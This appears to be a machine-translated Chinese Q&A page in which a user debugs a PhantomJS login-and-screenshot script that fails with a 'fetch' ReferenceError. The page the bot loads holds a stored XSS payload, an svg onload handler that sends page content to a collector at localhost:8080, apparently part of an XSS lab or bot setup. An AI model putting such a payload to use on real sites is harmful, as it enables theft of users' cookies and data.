javascript - PhantomJS ReferenceError:找不到变量:获取
问题描述
当我在 phantomjs 上执行我的 js 代码时出现此错误。
ReferenceError: Can't find variable: fetch
下面的 js 代码 (login.js) 登录到本地论坛 ( http://127.0.0.1/forum/ ) 并重定向到我在服务器上托管的 page.php 并在登录时截取页面截图.
var page = require('webpage').create();
var url = "http://127.0.0.1/forum/";
page.settings.userAgent = 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.120 Safari/537.36';
page.viewportSize = {
width: 1280,
height: 800
};
page.zoomFactor = 1;
page.onConsoleMessage = function(msg, lineNum, sourceId) {
console.log('CONSOLE: ' + msg + ' (from line #' + lineNum + ' in "' + sourceId + '")');
};
page.open(url, function (status) {
page.onConsoleMessage = function(msg, lineNum, sourceId) {
console.log('CONSOLE: ' + msg + ' (from line #' + lineNum + ' in "' + sourceId + '")');
};
page.evaluate(function() {
document.getElementById("lbluserName").value = "John";
document.getElementById("lblpassword").value = "password";
document.getElementById("btnLogin").click();
// page is redirecting.
});
setTimeout(function () {
page.evaluate(function () {
console.log('Done');
});
page.render("AfterLogin.png");
var url = "http://127.0.0.1/forum/pages/page.php?post_id=1";
page.open(url, function (status) {
setTimeout(function () {
page.evaluate(function () {
console.log('Done');
});
page.render("HomePage.png");
phantom.exit();
}, 5000);
});
}, 5000);
});
我运行下面的 js 代码没有问题,我的屏幕截图没有任何问题
phantomjs.exe login.js
CONSOLE: Done (from line # in "")
CONSOLE: Done (from line # in "")
但是,如果页面 (page.php) 在响应中包含以下内容
<svg/onload=fetch('http://localhost:8080/?cookie='+document.getElementById("userName").innerHTML)>
我将在下面列出以下错误。
phantomjs.exe login.js
CONSOLE: Done (from line # in "")
ReferenceError: Can't find variable: fetch
我怀疑上述错误可能是由于响应中的 <svg/onload= fetch造成的。
我尝试使用谷歌搜索并没有得到任何可以解决我的问题的解决方案。
(我看到一些关于 phantomjs 太旧并且不支持 fetch 的事情?对此不太确定。)
任何人都可以帮助我解决这个错误?
谢谢!
解决方案
推荐阅读
- reactjs - 使用反应在 django 上获取 http://localhost:8000/manifest.json 404(未找到)错误
- mysql - 将 100 万行快速插入 MySQL 服务器
- swift - 尝试插入非属性列表对象
- jenkins - 电子邮件分机:如果通过计时器开始构建,则有条件地向主题添加信息
- spring-boot - @ServerEndpoint 在 Spring Boot v2.3.7 上不起作用
- flutter - VScode 文档格式化程序不适用于 Dart/Flutter
- typescript - 如何根据nestJS或Typescript中的参数重置缓存值?
- javascript - 无法在我的侧边栏中展开菜单项以做出反应
- reinforcement-learning - 马尔可夫决策过程中的建模动作使用限制
- regex - 检查字符串如何以 XSLT 中的数字计数开头